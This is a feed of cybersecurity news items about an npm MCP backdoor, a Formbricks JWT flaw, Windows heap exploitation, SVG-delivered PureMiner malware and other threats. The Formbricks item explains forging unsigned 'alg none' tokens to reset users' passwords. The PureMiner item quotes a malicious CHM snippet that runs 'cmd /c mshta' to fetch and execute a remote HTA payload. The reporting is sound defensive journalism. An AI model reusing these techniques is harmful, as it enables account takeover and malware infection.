-
Cybersecurity researchers have discovered what has been described as the first-ever instance of a Model Context Protocol (MCP) server spotted in the wild, raising software supply chain risks. According to Koi Security, a legitimate-looking developer managed to slip in rogue code within an npm package called “postmark-mcp” that copied an official Postmark Labs library of the same name. The
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
A critical vulnerability in the open source Formbricks experience management toolbox allows attackers to reset any user’s password without authorization. Published three days ago as advisory GHSA-7229-q9pv-j6p4 by maintainer mattinannt, the flaw stems from missing JWT signature verification in Formbricks versions before 4.0.1. If an attacker learns a valid user’s internal identifier, they can forge a token […]
The post Formbricks Signature Verification Flaw Lets Attackers Reset User Passwords appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
Cybercriminals expand malvertising campaigns from Facebook to Google Ads and YouTube, hijacking accounts to distribute crypto-stealing malware targeting financial platform users worldwide. A sophisticated malvertising campaign that initially targeted Facebook users with fake TradingView Premium offers has significantly expanded its reach, now infiltrating Google Ads and YouTube to distribute advanced cryptocurrency-stealing malware. Bitdefender researchers, who […]
The post Cybercriminals Exploit Facebook and Google Ads as Tools for Stealing Sensitive Data appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
A critical security flaw discovered in Formbricks, an open-source experience management platform, demonstrates how missing JWT signature verification can lead to complete account takeovers.
The vulnerability tracked as CVE-2025-59934 affects all versions prior to 4.0.1 and stems from improper token validation that uses jwt.decode() instead of jwt.verify(), allowing attackers to bypass authentication controls entirely.
The vulnerability was disclosed by security researcher mattinannt and has been classified as critical due to its potential for unauthorized access to user accounts.
Formbricks has since released version 4.0.1 to address this security issue, but organizations running older versions remain at significant risk.
JWT Validation Vulnerability
The core vulnerability exists in the token validation routine located in /formbricks/apps/web/lib/jwt.ts.
The problematic code implements a verifyToken function that only decodes JWT tokens without performing essential security checks:
This implementation fails to verify critical JWT components, including digital signatures, token expiration, issuer validation, and audience verification.
The function uses jwt.decode() which simply parses the JWT structure without cryptographic validation, treating any properly formatted JWT as authentic regardless of its legitimacy.
Both the email verification token login path and password reset functionality rely on this flawed validator.
When processing password reset requests, the system extracts the user ID from the unverified JWT payload and directly queries the database to update the corresponding user’s password.
This bypass mechanism allows attackers who possess a victim’s user.id to craft malicious JWTs using the “alg”: “none” algorithm header, effectively creating unsigned tokens that pass validation.
The exploit requires minimal prerequisites – attackers need only to discover the target user’s unique identifier, which follows Formbricks’ standard format (e.g., cmfuc8pk60000vxfjud7bcl2w).
The attack leverages the “none” algorithm specification in JWT headers, which indicates no signature verification should be performed.
The proof-of-concept demonstrates token forgery using a Python script that constructs a malicious JWT:
The attack sequence follows these steps: the attacker crafts a JWT with header {“alg”: “none”, “typ”: “JWT”} and payload containing the victim’s user ID, constructs a password reset URL containing the forged token, and submits the form with a new password.
The server’s verifyToken function accepts the unsigned token, extracts the user ID, and proceeds with the password update without performing signature verification.
Risk Factors Details Affected Products Formbricks < 4.0.1 Impact Elevate privileges and take over a victim’s account Exploit Prerequisites Know the victim’s actual user.id.Craft a malicious JWT with an alg: “none” header. Submit the crafted JWT to the email verification token login path or the password reset server action. No privileges and no user interaction from the victim. CVSS 3.1 Score 9.4 (Critical) This attack vector demonstrates a fundamental authentication bypass vulnerability where the absence of cryptographic validation renders the entire JWT-based security model ineffective.
The vulnerability affects password reset functionality and email verification processes, potentially enabling widespread account compromise across Formbricks installations.
Organizations using affected Formbricks versions should immediately upgrade to version 4.0.1 or later and review their authentication logs for suspicious password reset activities.
The fix implements proper JWT signature verification using jwt.verify() instead of the vulnerable jwt.decode() method, ensuring that only cryptographically valid tokens can authenticate users and authorize sensitive operations like password resets.
Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.
The post Formbricks Signature Verification Vulnerability Let Attackers Reset User Passwords Without Authorization appeared first on Cyber Security News.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
A critical vulnerability in Windows heap management demonstrates how improper handling of record-size fields enables arbitrary memory read and write operations.
Suraj Malhotra shared a detailed exploitation technique leveraging the Low Fragmentation Heap (LFH) mechanism to achieve code execution on Windows systems.
Windows Heap Exploitation Vulnerability
The Windows NT Heap operates through FrontEnd and BackEnd allocators. The FrontEnd allocator manages small allocations under 16KB using LFH, while BackEnd handles larger requests.
LFH activation requires 18 subsequent allocations of similar sizes, creating predictable memory layouts exploitable by attackers. The vulnerability manifests in applications using private heaps created through HeapCreate() functions.
These environments offer reduced security mitigations compared to default process heaps accessed via GetProcessHeap(). The core vulnerability exists in record update functionality, where applications reuse previous record sizes when reading new data:
Exploitation begins by activating LFH through repeated allocations, then creating controlled memory layouts.
Attackers manipulate the target->size field, which remains unchanged during updates, enabling heap overflow conditions when new data exceeds allocated boundaries.
Suraj Malhotra demonstrates arbitrary read capabilities by filling UserBlocks through LFH activation, creating memory holes via record removal, and reusing chunks with crafted data structures.
Arbitrary read capabilities This approach enables reading sensitive memory regions, including heap base addresses, ntdll base locations, and Process Environment Block (PEB) structures.
For arbitrary write primitives, attackers exploit Windows chunk structures containing FLink and BLink pointers in free chunks.
By forging fake chunks and manipulating freelist pointers, researchers achieved FILE structure exploitation involving crafted FILE objects with controlled _base, _file, _flag, and _bufsiz fields.
Arbitrary write primitives The FILE structure exploitation requires specific flag combinations including _IOBUFFER_USER (0x0080) and _IOALLOCATED (0x2000) to bypass validation checks.
Setting _base to target memory addresses and _file to stdin enables writing arbitrary data to controlled locations.
Final exploitation involves constructing Return-Oriented Programming (ROP) chains utilizing Windows APIs, including ReadFile, VirtualProtect, and WriteFile, to load and execute shellcode.
The technique leverages Microsoft x64 calling convention, passing arguments through RCX, RDX, R8, and R9 registers using ROP gadgets in ntdll.
This vulnerability analysis, demonstrated through the “dadadb” challenge from Hitcon 2019, highlights the continued importance of proper heap management and size validation.
Organizations should implement robust input validation, utilize modern heap implementations, and employ comprehensive memory protection mechanisms to mitigate sophisticated exploitation techniques targeting Windows heap internals.
Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.
The post Windows Heap Exploitation Vulnerability With Record’s Size Field Leads to Arbitrary R/W appeared first on Cyber Security News.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
In recent weeks, a sophisticated phishing campaign has emerged, targeting organizations in Ukraine with malicious Scalable Vector Graphics (SVG) files designed to propagate the PureMiner cryptominer and a data-stealing payload dubbed Amatera Stealer.
Attackers masquerade as the Ukrainian police, sending emails that claim recipients have pending appeals.
When victims open the attached SVG, it triggers a fileless attack chain that ultimately compromises system confidentiality and hijacks computing resources.
This novel use of SVG attachments as initial infection vectors demonstrates attackers’ increasing creativity in bypassing traditional email filters and endpoint protections.
Upon opening the SVG attachment, an embedded HTML iframe element silently loads a second SVG from an attacker-controlled domain.
That SVG presents a spoofed Adobe Reader interface with a “Please wait, your document is loading…” message in Ukrainian, while simultaneously downloading a password-protected archive.
.webp)
Spoofed Adobe Reader interface (Source – Fortinet) Victims are shown the archive password and urged to extract a Compiled HTML Help (CHM) file. Fortinet analysts noted the malware’s reliance on this deceptive user interaction to evade detection and lure victims into executing malicious content.
Inside the archive, a CHM file contains an HTML shortcut object that invokes an HTML Application (HTA) in hidden mode.
.webp)
Malicious HTM file extracted from the CHM (Source – Fortinet) The HTA script, obfuscated through string encoding and array shuffling, serves as a loader—establishing a persistent connection to the attacker’s server, exfiltrating system information via XorBase64-encoded HTTP POST requests, and awaiting further commands.
Infection Mechanism of PureMiner via an SVG-Based Fileless Chain
A snippet from the malicious HTM extracted from the CHM illustrates how the Click method spawns mshta.exe to fetch and execute the next-stage payload:-
[OBJECT id="shortcut" classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width="1" height="1"] [PARAM name="Command" value="ShortCut"] [PARAM name="Item1" value=",cmd,/c mshta https://ms-team-ping2.com/smtp_test.hta"] [/OBJECT] [SCRIPT]shortcut.Click();[/SCRIPT]The infection mechanism continues with two distinct fileless payload deliveries. In the first, a ZIP archive named ergosystem.zip contains a legitimate .NET tool that sideloads a malicious DLL using process hollowing.
.webp)
Attack chain (Source – Fortinet) The injected payload, identified as PureMiner, decrypts its configuration from a Protobuf-serialized blob, gathers hardware details using AMD and NVIDIA libraries, and initiates CPU- or GPU-based mining modules.
In the second archive, smtpB.zip, a Python interpreter and the PythonMemoryModule are leveraged to load Amatera Stealer directly into memory.
This stealer requests an RC4-encrypted configuration via HTTP GET, decodes it in memory, and parses directives to harvest credentials, browser artifacts, and cryptocurrency wallet files.
From initial SVG deployment to dual payload execution, this campaign exemplifies a seamless progression of fileless tactics and legitimate application misuse.
By weaponizing SVG files as HTML wrappers and chaining through CHM and HTA stages, attackers evade signature-based defenses and exploit users’ trust in common document formats.
Cybersecurity teams should inspect SVG attachments for embedded iframes and monitor mshta.exe invocations, while ensuring that CHM and HTA executions are restricted.
Proper URL filtering and archive password prompts coupled with endpoint behavioral analytics can disrupt this infection mechanism before it compromises data or hijacks system resources.
Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.
The post Hackers Weaponizing SVG Files to Deliver PureMiner Malware and Steal Sensitive Information appeared first on Cyber Security News.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
A critical security vulnerability in SUSE Rancher Manager has been discovered that enables attackers with elevated privileges to lock out administrative accounts, potentially disrupting entire Kubernetes cluster management operations. The flaw, tracked as CVE-2024-58260, carries a high severity rating with a CVSS score of 7.1. Vulnerability Overview The security issue stems from missing server-side validation on the username […]
The post SUSE Rancher Flaws Allow Attackers to Lock Out Admin Accounts appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
A sophisticated new malware strain targeting macOS users has emerged, capable of bypassing traditional antivirus solutions while specifically targeting developers and cryptocurrency holders. The cross-platform threat, dubbed ModStealer, represents the latest evolution in macOS-focused cybercrime, highlighting the growing security challenges facing Apple users in 2024. ModStealer was first identified by cybersecurity firm Mosyle and reported through […]
The post New ModStealer Evades Antivirus, Targets macOS Users to Steal Sensitive Data appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
Dutch authorities have arrested two 17-year-old boys on suspicion of “state interference” in a cybersecurity case with alleged connections to Russian espionage operations. The teenagers appeared in court on Thursday, with one remanded in custody and the other placed under strict home bail conditions pending a hearing scheduled within two weeks. Europol headquarters building in […]
The post Two Dutch Teenagers Arrested for Wi-Fi Sniffing Activities appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
-
Cybercriminals are exploiting SVG files as an initial attack vector in a multi-stage campaign designed to impersonate Ukrainian government communications. FortiGuard Labs has uncovered a sophisticated phishing campaign targeting Ukrainian government agencies through malicious Scalable Vector Graphics (SVG) files, ultimately deploying both cryptocurrency mining malware and information stealers to compromise victim systems. The attack begins […]
The post SVG Files Abused to Deploy PureMiner Malware and Exfiltrate Data appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
¶¶¶¶¶
